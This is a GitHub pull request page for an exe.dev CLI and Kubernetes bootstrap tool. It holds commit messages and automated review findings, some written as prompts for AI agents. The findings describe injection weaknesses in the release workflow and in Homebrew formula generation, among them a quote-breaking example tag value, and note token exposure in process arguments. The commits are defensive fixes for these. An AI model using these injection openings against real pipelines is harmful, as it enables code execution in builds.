feat: align command surface with the latest exe.dev docs - #22
feat: align command surface with the latest exe.dev docs#22lollipopkit wants to merge 18 commits into
Conversation
clap's `#[command(version)]` reads CARGO_PKG_VERSION, which is baked in at compile time from Cargo.toml, so `--version` reported whatever the crates were last set to rather than the tag the binary shipped under. `scripts/release/set-version.sh` rewrites every workspace member, the `exedev-core` path-dependency requirement, and Cargo.lock (the release build runs with --locked). The release workflow runs it before the build step. `scripts/release/sync-homebrew-tap.sh` regenerates the tap formula from the published release assets, checking the archive payload against the member names the formula installs.
Checked against https://exe.dev/llms-full.txt on 2026-08-10. exedev-ctl gains the commands and flags that upstream documents but this CLI could only reach through `exec`: - `pool new/list/delete` and `new --pool` for team reserved capacity - `share add/remove --root` and `share receive-email --reply-policy` - `integrations test`, `integrations catalog`, `list --usage`, `--readonly`, and the time-boxed `--for`/`--until` grants on `attach` - `team settings auto-join` and tax-ID fields on `team billing update` - `billing credits usage/transactions/buy`, `billing payment`, `billing update`, and `billing statement` `billing provider link` and `exe0-to-exe1` are deliberately left to `exec`: both take a token as an argument, and a typed wrapper would only make it easier to leak one into shell history and the process list. `new --command` is removed; it is no longer in the upstream option list for `new`, so forwarding it only produced a server-side error. The dangerous-command guard now also covers `pool delete`, `billing credits buy`, `billing payment remove`, `share access allow`, `team settings auto-join on`, and `share add --root`, which grants SSH, Terminal, and Shelley access rather than the web-only share it resembles. Server-side `--yes` forwarding moves from two hardcoded call sites to one declaration, and `exec` is excluded so raw passthrough stays verbatim. exedev-k8s reached nodes at a hardcoded `<vm>.exe.xyz`. Upstream now documents that `ssh_dest` may carry a username prefix such as `vm+bloggy@exe.dev` when a VM hostname cannot route SSH directly, so bootstrap read the wrong destination for those VMs. It now takes the destination from the `ls` response, falling back to the hostname, and re-reads the list after creating VMs so new ones contribute theirs.
|
Warning Review limit reachedYou’ve reached a temporary PR review limit under our Fair Usage Limits Policy. Next review available in: 14 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (13)
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (8)
🚧 Files skipped from review as they are similar to previous changes (4)
📜 Recent review details⏰ Context from checks skipped due to timeout. (1)
🔇 Additional comments (8)
📝 WalkthroughWalkthroughThe PR expands CLI commands and confirmation handling, adds SSH destination-aware Kubernetes bootstrap operations, improves secret-file protection, updates documentation, and introduces immutable release versioning and Homebrew formula automation. ChangesCLI command and safety updates
Kubernetes SSH destination routing
Release automation
Possibly related PRs
Comment |
There was a problem hiding this comment.
Actionable comments posted: 4
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/release.yml:
- Line 84: Update all three Bash steps in the release workflow that assign or
use inputs.tag_name to receive the value through the step environment, then
reference that environment variable inside the scripts instead of interpolating
inputs.tag_name directly; preserve the existing tag behavior while preventing
shell command injection.
In `@cli/README.md`:
- Around line 167-177: Correct the token-exposure guidance: in cli/README.md
lines 167-177 and cli/README.zh-CN.md lines 165-173, remove any implication that
raw exec protects tokens passed as arguments; in skills/exedev-ctl/SKILL.md
lines 42-44, remove the claim that exec or SSH prevents persisted-history
exposure; and in skills/exedev-ctl/references/exedev-ctl.md lines 272-275, state
that environment expansion avoids literal shell-history exposure but not local
process-argument exposure, unless a supported secure secret-input mechanism is
documented.
In `@k8s_cli/src/manager/parsing.rs`:
- Around line 67-71: Update parse_ssh_destinations to detect a present output
field in the outer JSON object, parse its string contents as the inner JSON
payload, and pass that payload to collect_ssh_destinations while preserving
direct-response parsing. Add a regression test covering the wrapped
{"output":"<JSON>"} response and verifying the reported ssh_dest values are
retained.
In `@scripts/release/set-version.sh`:
- Around line 30-33: Update the VERSION validation in the release script to
enforce full SemVer rules: reject leading-zero numeric components and numeric
prerelease identifiers, while accepting valid prerelease and build metadata such
as 1.2.3-rc.1+build.5. Use a complete SemVer validator or equivalent regex, and
add coverage for these accepted and rejected cases.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: d3c20e12-9559-4cfe-a822-8023fd9cdddb
📒 Files selected for processing (20)
.github/workflows/release.ymlREADME.mdREADME.zh-CN.mdcli/README.mdcli/README.zh-CN.mdcli/src/cli.rscli/src/cli_command.rscore/src/shell.rsdocs/exe-dev-api-reference.mddocs/exedev-automation.mdk8s_cli/README.mdk8s_cli/README.zh-CN.mdk8s_cli/src/manager/mod.rsk8s_cli/src/manager/parsing.rsk8s_cli/src/manager/process.rsk8s_cli/src/manager/tests.rsscripts/release/set-version.shscripts/release/sync-homebrew-tap.shskills/exedev-ctl/SKILL.mdskills/exedev-ctl/references/exedev-ctl.md
📜 Review details
⏰ Context from checks skipped due to timeout. (3)
- GitHub Check: fmt, check, test
- GitHub Check: winnowl/review
- GitHub Check: fmt, check, test
🧰 Additional context used
🪛 LanguageTool
skills/exedev-ctl/references/exedev-ctl.md
[style] ~272-~272: Try using a descriptive adverb here.
Context: ...nd exe0-to-exe1 have no typed wrapper on purpose: each takes a token as an argument. Run...
(ON_PURPOSE_DELIBERATELY)
skills/exedev-ctl/SKILL.md
[style] ~44-~44: Try using a descriptive adverb here.
Context: ...inkandexe0-to-exe1` have no wrapper on purpose: both take a token as an argument, so r...
(ON_PURPOSE_DELIBERATELY)
🪛 Shellcheck (0.11.0)
scripts/release/sync-homebrew-tap.sh
[warning] 5-5: REPO_ROOT appears unused. Verify use (or export if used externally).
(SC2034)
[info] 170-170: Double quote to prevent globbing and word splitting.
(SC2086)
🪛 zizmor (1.29.0)
.github/workflows/release.yml
[error] 84-84: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🔇 Additional comments (19)
scripts/release/sync-homebrew-tap.sh (1)
1-171: LGTM!k8s_cli/src/manager/parsing.rs (1)
12-14: LGTM!Also applies to: 45-45
k8s_cli/src/manager/mod.rs (1)
36-37: LGTM!Also applies to: 80-110, 173-189, 317-333, 352-374, 390-392, 413-453, 463-465, 477-479, 488-488, 517-517, 543-569
k8s_cli/src/manager/process.rs (1)
5-5: LGTM!Also applies to: 31-52, 95-96, 117-134, 325-335
k8s_cli/src/manager/tests.rs (1)
3-5: LGTM!Also applies to: 142-142, 157-185
docs/exe-dev-api-reference.md (1)
4-4: LGTM!Also applies to: 14-17, 49-61, 313-323
docs/exedev-automation.md (1)
142-146: LGTM!k8s_cli/README.md (1)
224-229: LGTM!k8s_cli/README.zh-CN.md (1)
204-208: LGTM!cli/src/cli.rs (1)
16-23: LGTM!Also applies to: 68-69, 139-141, 262-280, 292-296, 401-430, 476-553, 645-668, 709-780, 800-911
cli/src/cli_command.rs (1)
10-18: LGTM!Also applies to: 57-57, 114-114, 147-169, 192-214, 257-350, 393-398, 439-444, 467-510, 522-570, 866-1061
core/src/shell.rs (1)
48-76: LGTM!Also applies to: 107-120
README.md (1)
47-52: LGTM!README.zh-CN.md (1)
46-51: LGTM!cli/README.md (1)
162-164: LGTM!skills/exedev-ctl/SKILL.md (1)
36-39: LGTM!skills/exedev-ctl/references/exedev-ctl.md (1)
202-264: LGTM!.github/workflows/release.yml (1)
75-83: LGTM!Also applies to: 85-87
scripts/release/set-version.sh (1)
1-29: LGTM!Also applies to: 35-96
The three release-workflow steps that resolve the tag interpolated `inputs.tag_name` straight into their bash scripts, so a crafted workflow_dispatch input ran as shell. They now receive it through the step environment and read the variable instead. `set-version.sh` validated versions with a loose "digits, dots and dashes" pattern. It rejected the valid tag 1.2.3-rc.1+build.5, because build metadata can follow a prerelease, and accepted invalid ones like 01.2.3, which cargo refuses later in the release with a much less obvious error. Replaced with semver.org's reference grammar. The docs presented `exec --` and `ssh exe.dev` as a way to keep tokens out of persisted history, which they are not: the token is a command argument either way. They now state the actual reason these two commands have no wrapper (they are one-time onboarding steps a wrapper would not make safer) and the actual exposure (variable expansion keeps the literal out of shell history, but the expanded value is still readable in local process arguments).
There was a problem hiding this comment.
Actionable comments posted: 4
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (4)
- 🟡 Medium The Homebrew sync script accepts any non-empty RELEASE_TAG and writes a formula without validating that it is a release tag/semantic version. For example,
RELEASE_TAG='not a version'(orv01.2.3) is used to construct the archive filenames/URLs, and if matching assets happen to exist the script reachescat > "$TAP_FORMULA_PATH"; the generated formula then contains that malformed release URL/version. This violates the requirement that malformed semantic versions fail before writing an unusable formula. The claim would be false only if an earlier guaranteed contract rejects every malformed tag before this script runs, but the script is explicitly callable with an argument/environment and performs no such check. (inline) - 🟡 Medium The script accepts an arbitrary RELEASE_TAG and interpolates it into archive paths, download URLs, and double-quoted Ruby strings without validating or escaping it. A release tag such as
v1.2.3"-bad(or any tag that does not match the semver/tag contract) can make the generated formula syntactically invalid; slash-containing tags can also make the local curl output path fail before the intended diagnostic. The release workflow validates indirectly through set-version, but this standalone sync script also supports gh/env tags and does not enforce that invariant. (inline) - 🟡 Medium Formula metadata is inserted into Ruby string/class syntax without escaping or validating it. Supplying FORMULA_DESC containing
"or a newline, or FORMULA_CLASS containing non-Ruby identifier text, produces a formula that Homebrew cannot parse (and FORMULA_DESC can inject additional formula code). The same applies to REPO_SLUG and FORMULA_LICENSE in quoted Ruby strings, so the script's configurable inputs can make formula generation succeed while producing an unusable tap file. (inline) - 🟡 Medium Raw dangerous commands do not honor the global
--yesflag.build_commandexplicitly excludesCommands::Execfromneeds_server_confirmation, soexedev-ctl --transport http --yes exec -- team disablesendsteam disablewithout--yes;/exechas no pty and the server-side confirmation cannot be answered, causing the command to hang or fail instead of honoring the documented global confirmation override. This would be disproven if rawexecis intentionally required to make users place--yesin the raw command and the global flag is documented as inapplicable to raw commands. (inline)
📋 Additional findings from this change (not shown inline) (8)
- 🟠 High A hung remote command can block bootstrap without a bounded timeout. (k8s_cli/src/manager/process.rs) — anchor-outside-diff
- 🟠 High Bootstrap can complete while a fleet node is registered but NotReady. (k8s_cli/src/manager/mod.rs) — anchor-outside-diff
- 🟡 Medium Manual dispatch does not constrain
tag_nameto an existing tag before checkout or release publication.actions/checkoutreceives the raw input asref, so an input such asmainor an arbitrary branch/SHA is checked out; the later version step then rejects it as non-semver, while an input that happens to be a valid semver but is not an existing tag can build from that ref and ask the publish action to create a release for a tag that was never checked out. The claim would be false only if the workflow's dispatch UI or repository permissions guaranteed that the input can only name an existing tag, which GitHub's string input does not. (.github/workflows/release.yml) — anchor-outside-diff - 🟡 Medium Raw exec is not preserved on the SSH transport when global JSON output is requested. (cli/src/ssh.rs) — anchor-outside-diff
- 🟡 Medium Integration creation and attachment can change access/integration state without the local dangerous-command prompt. (core/src/shell.rs) — anchor-outside-diff
- 🟡 Medium Several team authority changes are not covered by the dangerous-command matcher. (core/src/shell.rs) — anchor-outside-diff
- 🟡 Medium Remote bootstrap misclassifies generic exit status 126 as Tailnet Lock and can retry the wrong operation indefinitely until user confirmation. (k8s_cli/src/manager/process.rs) — anchor-outside-diff
- 🔵 Low Danger matching is not anchored at subcommand boundaries, so neighboring command names can spuriously trigger confirmation. (core/src/shell.rs) — anchor-outside-diff
🤖 Prompt for AI agents — all findings (12)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Findings on this change (also posted as inline comments) (4)
In scripts/release/sync-homebrew-tap.sh around line 41, address this finding:
The Homebrew sync script accepts any non-empty RELEASE_TAG and writes a formula without validating that it is a release tag/semantic version. For example, `RELEASE_TAG='not a version'` (or `v01.2.3`) is used to construct the archive filenames/URLs, and if matching assets happen to exist the script reaches `cat > "$TAP_FORMULA_PATH"`; the generated formula then contains that malformed release URL/version. This violates the requirement that malformed semantic versions fail before writing an unusable formula. The claim would be false only if an earlier guaranteed contract rejects every malformed tag before this script runs, but the script is explicitly callable with an argument/environment and performs no such check.
In scripts/release/sync-homebrew-tap.sh around line 15, address this finding:
The script accepts an arbitrary RELEASE_TAG and interpolates it into archive paths, download URLs, and double-quoted Ruby strings without validating or escaping it. A release tag such as `v1.2.3"-bad` (or any tag that does not match the semver/tag contract) can make the generated formula syntactically invalid; slash-containing tags can also make the local curl output path fail before the intended diagnostic. The release workflow validates indirectly through set-version, but this standalone sync script also supports gh/env tags and does not enforce that invariant.
In scripts/release/sync-homebrew-tap.sh around line 120, address this finding:
Formula metadata is inserted into Ruby string/class syntax without escaping or validating it. Supplying FORMULA_DESC containing `"` or a newline, or FORMULA_CLASS containing non-Ruby identifier text, produces a formula that Homebrew cannot parse (and FORMULA_DESC can inject additional formula code). The same applies to REPO_SLUG and FORMULA_LICENSE in quoted Ruby strings, so the script's configurable inputs can make formula generation succeed while producing an unusable tap file.
In cli/src/cli_command.rs around line 151, address this finding:
Raw dangerous commands do not honor the global `--yes` flag. `build_command` explicitly excludes `Commands::Exec` from `needs_server_confirmation`, so `exedev-ctl --transport http --yes exec -- team disable` sends `team disable` without `--yes`; `/exec` has no pty and the server-side confirmation cannot be answered, causing the command to hang or fail instead of honoring the documented global confirmation override. This would be disproven if raw `exec` is intentionally required to make users place `--yes` in the raw command and the global flag is documented as inapplicable to raw commands.
## Additional findings on this change (not posted inline) (8)
In k8s_cli/src/manager/process.rs around line 233, address this finding:
A hung remote command can block bootstrap without a bounded timeout.
In k8s_cli/src/manager/mod.rs around line 602, address this finding:
Bootstrap can complete while a fleet node is registered but NotReady.
In .github/workflows/release.yml around line 46, address this finding:
Manual dispatch does not constrain `tag_name` to an existing tag before checkout or release publication. `actions/checkout` receives the raw input as `ref`, so an input such as `main` or an arbitrary branch/SHA is checked out; the later version step then rejects it as non-semver, while an input that happens to be a valid semver but is not an existing tag can build from that ref and ask the publish action to create a release for a tag that was never checked out. The claim would be false only if the workflow's dispatch UI or repository permissions guaranteed that the input can only name an existing tag, which GitHub's string input does not.
In cli/src/ssh.rs around line 17, address this finding:
Raw exec is not preserved on the SSH transport when global JSON output is requested.
In core/src/shell.rs around line 52, address this finding:
Integration creation and attachment can change access/integration state without the local dangerous-command prompt.
In core/src/shell.rs around line 55, address this finding:
Several team authority changes are not covered by the dangerous-command matcher.
In k8s_cli/src/manager/process.rs around line 68, address this finding:
Remote bootstrap misclassifies generic exit status 126 as Tailnet Lock and can retry the wrong operation indefinitely until user confirmation.
In core/src/shell.rs around line 68, address this finding:
Danger matching is not anchored at subcommand boundaries, so neighboring command names can spuriously trigger confirmation.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 5 of 6 areas reviewed
| RELEASE_TAG="$(gh release view --repo "$REPO_SLUG" --json tagName -q .tagName)" | ||
| fi | ||
|
|
||
| VERSION="${RELEASE_TAG#v}" |
There was a problem hiding this comment.
🔍 Error Handling | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
The Homebrew sync script accepts any non-empty RELEASE_TAG and writes a formula without validating that it is a release tag/semantic version. For example, `RELEASE_TAG='not a version'` (or `v01.2.3`) is used to construct the archive filenames/URLs, and if matching assets happen to exist the script reaches `cat > "$TAP_FORMULA_PATH"`; the generated formula then contains that malformed release URL/version. This violates the requirement that malformed semantic versions fail before writing an unusable formula. The claim would be false only if an earlier guaranteed contract rejects every malformed tag before this script runs, but the script is explicitly callable with an argument/environment and performs no such check.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| VERSION="${RELEASE_TAG#v}" | |
| VERSION="${RELEASE_TAG#v}" | |
| SEMVER_NUM='(0|[1-9][0-9]*)' | |
| SEMVER_PRE_ID="(${SEMVER_NUM}|[0-9]*[A-Za-z-][0-9A-Za-z-]*)" | |
| SEMVER_RE="^${SEMVER_NUM}\\.${SEMVER_NUM}\\.${SEMVER_NUM}(-${SEMVER_PRE_ID}(\\.${SEMVER_PRE_ID})*)?(\\+[0-9A-Za-z-]+(\\.[0-9A-Za-z-]+)*)?$" | |
| if [[ ! "$VERSION" =~ $SEMVER_RE ]]; then | |
| echo "not a semantic version: $VERSION" >&2 | |
| exit 1 | |
| fi |
| TAP_REPO_PATH="${TAP_REPO_PATH:-$HOME/proj/homebrew-tap}" | ||
| TAP_FORMULA_PATH="${TAP_FORMULA_PATH:-}" | ||
| EXPLICIT_TAP_FORMULA_PATH="${TAP_FORMULA_PATH:-}" | ||
| RELEASE_TAG="${1:-${RELEASE_TAG:-}}" |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact set of characters accepted by curl and GitHub release URLs varies, so the quoted-tag-to-invalid-Ruby example is not necessary to establish the defect.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
The script accepts an arbitrary RELEASE_TAG and interpolates it into archive paths, download URLs, and double-quoted Ruby strings without validating or escaping it. A release tag such as `v1.2.3"-bad` (or any tag that does not match the semver/tag contract) can make the generated formula syntactically invalid; slash-containing tags can also make the local curl output path fail before the intended diagnostic. The release workflow validates indirectly through set-version, but this standalone sync script also supports gh/env tags and does not enforce that invariant.
| } | ||
|
|
||
| mkdir -p "$(dirname "$TAP_FORMULA_PATH")" | ||
| cat > "$TAP_FORMULA_PATH" <<FORMULA |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The script has no in-repository caller, so actual production exposure depends on how operators invoke it and which environment variables they set.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
Formula metadata is inserted into Ruby string/class syntax without escaping or validating it. Supplying FORMULA_DESC containing `"` or a newline, or FORMULA_CLASS containing non-Ruby identifier text, produces a formula that Homebrew cannot parse (and FORMULA_DESC can inject additional formula code). The same applies to REPO_SLUG and FORMULA_LICENSE in quoted Ruby strings, so the script's configurable inputs can make formula generation succeed while producing an unusable tap file.
| Commands::Exec(cmd) => words.extend(cmd.command.clone()), | ||
| } | ||
|
|
||
| if !matches!(command, Commands::Exec(_)) && needs_server_confirmation(&words) { |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The raw exec passthrough behavior is intentional in the implementation comments and tests, but the global --yes help text and README describe the flag without excluding exec; resolving that product-policy ambiguity would require an explicit documentation decision.
🤖 Prompt for AI agents
In cli/src/cli_command.rs, address this finding:
Raw dangerous commands do not honor the global `--yes` flag. `build_command` explicitly excludes `Commands::Exec` from `needs_server_confirmation`, so `exedev-ctl --transport http --yes exec -- team disable` sends `team disable` without `--yes`; `/exec` has no pty and the server-side confirmation cannot be answered, causing the command to hang or fail instead of honoring the documented global confirmation override. This would be disproven if raw `exec` is intentionally required to make users place `--yes` in the raw command and the global flag is documented as inapplicable to raw commands.
sync-homebrew-tap.sh took a release tag from an argument, the environment, or `gh` and interpolated it into download URLs, local paths, and double-quoted Ruby strings with no validation, so a tag like `v1.2.3"-bad` or one containing a slash produced a formula that generation reported as a success and Homebrew could not parse. The same held for the configurable formula metadata. Both are now validated up front, against the same semver grammar set-version.sh uses. The dangerous-command guard prompted for `integrations detach` and `edit` but not for `add` (which accepts --attach specs) or `attach`, so handing a credential to a VM was silent while taking it away was not. It also covered `team remove`, `role`, and `transfer` but not `team add`, `team auth set`, or `team settings vm-sharing`, which change who holds authority over the team. The release workflow passed a dispatch input to actions/checkout as a bare ref, so a branch name or SHA would build a ref that is not the tag the publish job creates a release for. It now resolves the input under refs/tags/. `exec` still sends its arguments verbatim, and the reasoning is now recorded next to the code and in both READMEs: injecting `--yes` could carry out a destructive action the user never typed, while the global `--json` selects an output format and does not change what the command does.
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/release.yml:
- Around line 43-49: Update the Checkout step in the release workflow to set
actions/checkout’s persist-credentials option to false, while preserving the
existing ref selection and all other checkout behavior.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 90af0310-a4e2-4310-ab24-7b6fed327092
📒 Files selected for processing (6)
.github/workflows/release.ymlcli/README.mdcli/README.zh-CN.mdcli/src/cli_command.rscore/src/shell.rsscripts/release/sync-homebrew-tap.sh
🚧 Files skipped from review as they are similar to previous changes (4)
- core/src/shell.rs
- cli/README.md
- cli/README.zh-CN.md
- cli/src/cli_command.rs
📜 Review details
⏰ Context from checks skipped due to timeout. (2)
- GitHub Check: winnowl/review
- GitHub Check: fmt, check, test
🧰 Additional context used
🪛 zizmor (1.29.0)
.github/workflows/release.yml
[warning] 43-49: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
🔇 Additional comments (2)
.github/workflows/release.yml (1)
78-94: LGTM!Also applies to: 101-108, 151-157
scripts/release/sync-homebrew-tap.sh (1)
43-78: LGTM!
The build job runs no git operations after checkout and compiles third-party crates, whose build scripts execute with the workspace present. Leaving the token in .git/config only widened what a compromised dependency could reach. Nothing depended on it: the workspace has no git dependencies, so cargo never needs the credential, and the publish job does not check out at all — softprops/action-gh-release authenticates with GITHUB_TOKEN directly.
There was a problem hiding this comment.
Actionable comments posted: 1
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (1)
- 🟡 Medium Authoritative SSH destinations are lost when
exe.dev lsreturns a JSON object with anoutputstring containing the actual serialized/listed payload.parse_vm_namesexplicitly falls back tovalue.output, butparse_ssh_destinationsonly traverses the JSON object and never parsesoutput; consequently the VM name may be discovered from text while itsssh_destis omitted andSshTargets::destuses<vm>.exe.xyzinstead of the reported user@host destination. This would be disproven if the ls API never wraps its JSON/text output in anoutputfield, despite the existing parser's explicit support for that shape for names. (inline)
⛔ Unresolved from previous review (1) — not approved until fixed
- k8s_cli/src/manager/process.rs: A hung remote command can block bootstrap without a bounded timeout.
📋 Additional findings from this change (not shown inline) (4)
- 🟠 High Remote SSH operations have no bounded process/request lifetime.
ConnectTimeout=15only limits connection establishment;capture_remote_ssh_outputawaitschild.wait_with_output()indefinitely, so a remote script that hangs (for example a package install, curl, or service operation) blocks bootstrap forever and can retain the child/pipes indefinitely. This would be disproven if an external process supervisor guaranteed a timeout for every invocation, but the shown code invokes ssh directly and has no such timeout. (k8s_cli/src/manager/process.rs) — anchor-outside-diff - 🟡 Medium The SSH retry policy can repeat unsafe bootstrap effects after an ambiguous transport failure. Any SSH exit status 255 is retried, but status 255 can occur after the remote script has already installed Tailscale/k3s or changed service state and the connection drops while returning output; the next attempt reruns the entire script. The wrapper makes scripts report status but does not make these operations transactional or idempotent (and some install/start steps have side effects), so a transient disconnect can duplicate/partially repeat bootstrap effects. This would be disproven if ssh status 255 were proven to occur only before remote execution for the deployed SSH path. (k8s_cli/src/manager/process.rs) — anchor-outside-diff
- 🟡 Medium Node taint application is additive rather than reconciliatory: it applies a desired taint with
--overwrite, but never removes taints that are no longer in the fleet plan. If a previously isolated worker is changed totaint: null, rerunning bootstrap leaves the old NoSchedule taint in place; metadata therefore does not represent the plan and can keep workloads unschedulable. This would be disproven if the product intentionally guarantees that taints are immutable and stale taints are managed only by a separate command, but bootstrap's overwrite semantics and metadata obligation imply reconciliation. (k8s_cli/src/manager/mod.rs) — anchor-outside-diff - 🟡 Medium Established SSH sessions have no bounded lifetime, so a bootstrap can hang indefinitely after the TCP connection succeeds. (k8s_cli/src/manager/process.rs) — anchor-unreliable
♻️ Previously reported (still present) (3)
- 🟠 High ARCHIVE_PREFIX is accepted from the environment and interpolated into Ruby double-quoted url strings without validation, so a value containing a quote and Ruby interpolation/code can generate a formula with altered syntax or execute code when Homebrew evaluates it. (scripts/release/sync-homebrew-tap.sh) — previously-reported
- 🟠 High Bootstrap proceeds to metadata and manifest deployment after nodes merely register, even if none is Ready.
wait_for_kubernetes_nodesreturns when every expected name exists but never checksKubernetesNode.ready;run_bootstrapthen immediately callsapply_node_metadataandkubectl_apply. A cluster can report all nodes with Ready=False/Unknown and still receive labels, taints, and manifests, violating the readiness invariant. This would be disproven if Kubernetes registration were guaranteed to imply the intended Ready condition for every node, but k3s commonly registers nodes before readiness and the parser explicitly distinguishesready. (k8s_cli/src/manager/mod.rs) — previously-reported - 🟡 Medium Secret files are written with their final 0600 mode only after contents have been written.
write_secret_fileusesfs::writefirst, which creates a new file under the process umask (potentially 0644), then callsset_permissions; an interruption/crash between those calls leaves the kubeconfig or k3s token readable. The function also follows an existing symlink, so a path supplied via--kubeconfigcan redirect secret contents to another file. This would be disproven if the CLI always runs with a guaranteed restrictive umask and rejects symlinked paths externally, neither of which is enforced here. (k8s_cli/src/manager/state.rs) — previously-reported
❓ Low-evidence leads (not confirmed — verify before acting) (1)
- Homebrew generation can succeed with invalid non-arm64 assets because archive-member validation is performed only against macos-arm64. (scripts/release/sync-homebrew-tap.sh)
🤖 Prompt for AI agents — all findings (9)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (1)
In k8s_cli/src/manager/process.rs, address this finding:
A hung remote command can block bootstrap without a bounded timeout.
## Findings on this change (also posted as inline comments) (1)
In k8s_cli/src/manager/parsing.rs around line 67, address this finding:
Authoritative SSH destinations are lost when `exe.dev ls` returns a JSON object with an `output` string containing the actual serialized/listed payload. `parse_vm_names` explicitly falls back to `value.output`, but `parse_ssh_destinations` only traverses the JSON object and never parses `output`; consequently the VM name may be discovered from text while its `ssh_dest` is omitted and `SshTargets::dest` uses `<vm>.exe.xyz` instead of the reported user@host destination. This would be disproven if the ls API never wraps its JSON/text output in an `output` field, despite the existing parser's explicit support for that shape for names.
## Additional findings on this change (not posted inline) (4)
In k8s_cli/src/manager/process.rs around line 233, address this finding:
Remote SSH operations have no bounded process/request lifetime. `ConnectTimeout=15` only limits connection establishment; `capture_remote_ssh_output` awaits `child.wait_with_output()` indefinitely, so a remote script that hangs (for example a package install, curl, or service operation) blocks bootstrap forever and can retain the child/pipes indefinitely. This would be disproven if an external process supervisor guaranteed a timeout for every invocation, but the shown code invokes ssh directly and has no such timeout.
In k8s_cli/src/manager/process.rs around line 251, address this finding:
The SSH retry policy can repeat unsafe bootstrap effects after an ambiguous transport failure. Any SSH exit status 255 is retried, but status 255 can occur after the remote script has already installed Tailscale/k3s or changed service state and the connection drops while returning output; the next attempt reruns the entire script. The wrapper makes scripts report status but does not make these operations transactional or idempotent (and some install/start steps have side effects), so a transient disconnect can duplicate/partially repeat bootstrap effects. This would be disproven if ssh status 255 were proven to occur only before remote execution for the deployed SSH path.
In k8s_cli/src/manager/mod.rs around line 635, address this finding:
Node taint application is additive rather than reconciliatory: it applies a desired taint with `--overwrite`, but never removes taints that are no longer in the fleet plan. If a previously isolated worker is changed to `taint: null`, rerunning bootstrap leaves the old NoSchedule taint in place; metadata therefore does not represent the plan and can keep workloads unschedulable. This would be disproven if the product intentionally guarantees that taints are immutable and stale taints are managed only by a separate command, but bootstrap's overwrite semantics and metadata obligation imply reconciliation.
In k8s_cli/src/manager/process.rs, address this finding:
Established SSH sessions have no bounded lifetime, so a bootstrap can hang indefinitely after the TCP connection succeeds.
## Previously reported and still present (3)
In scripts/release/sync-homebrew-tap.sh around line 20, address this finding:
ARCHIVE_PREFIX is accepted from the environment and interpolated into Ruby double-quoted url strings without validation, so a value containing a quote and Ruby interpolation/code can generate a formula with altered syntax or execute code when Homebrew evaluates it.
In k8s_cli/src/manager/mod.rs around line 602, address this finding:
Bootstrap proceeds to metadata and manifest deployment after nodes merely register, even if none is Ready. `wait_for_kubernetes_nodes` returns when every expected name exists but never checks `KubernetesNode.ready`; `run_bootstrap` then immediately calls `apply_node_metadata` and `kubectl_apply`. A cluster can report all nodes with Ready=False/Unknown and still receive labels, taints, and manifests, violating the readiness invariant. This would be disproven if Kubernetes registration were guaranteed to imply the intended Ready condition for every node, but k3s commonly registers nodes before readiness and the parser explicitly distinguishes `ready`.
In k8s_cli/src/manager/state.rs around line 50, address this finding:
Secret files are written with their final 0600 mode only after contents have been written. `write_secret_file` uses `fs::write` first, which creates a new file under the process umask (potentially 0644), then calls `set_permissions`; an interruption/crash between those calls leaves the kubeconfig or k3s token readable. The function also follows an existing symlink, so a path supplied via `--kubeconfig` can redirect secret contents to another file. This would be disproven if the CLI always runs with a guaranteed restrictive umask and rejects symlinked paths externally, neither of which is enforced here.
📜 Review details
Model
- gpt-5.6-luna, deepseek-v4-flash
Coverage
- 4 of 4 areas reviewed
| /// username prefix (for example `vm+bloggy@exe.dev`) when they do not. VMs whose | ||
| /// destination cannot be read are left out, and the caller falls back to the | ||
